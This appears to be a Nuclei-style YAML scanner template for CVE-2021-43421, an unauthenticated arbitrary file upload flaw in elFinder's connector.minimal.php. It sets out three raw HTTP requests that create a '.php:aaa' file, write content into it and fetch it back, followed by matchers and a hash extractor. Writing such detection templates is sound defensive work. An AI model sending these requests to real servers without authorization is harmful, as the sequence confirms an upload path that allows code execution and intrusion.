56 lines
1.6 KiB
YAML
56 lines
1.6 KiB
YAML
id: CVE-2021-43421
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info:
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name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
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author: akincibor
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severity: critical
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description: |
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Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
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reference:
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- https://github.com/Studio-42/elFinder/issues/3429
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- https://twitter.com/infosec_90/status/1455180286354919425
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- https://nvd.nist.gov/vuln/detail/CVE-2021-43421
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-43421
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cwe-id: CWE-434
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epss-score: 0.02563
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cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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verified: true
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vendor: std42
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product: elfinder
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tags: cve,cve2021,elfinder,fileupload,rce,intrusive
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http:
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- raw:
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- |
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GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_3, "{{randstr_1}}")'
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- "status_code == 200"
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condition: and
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extractors:
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- type: regex
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name: hash
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group: 1
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regex:
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- '"hash"\:"(.*?)"\,'
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internal: true
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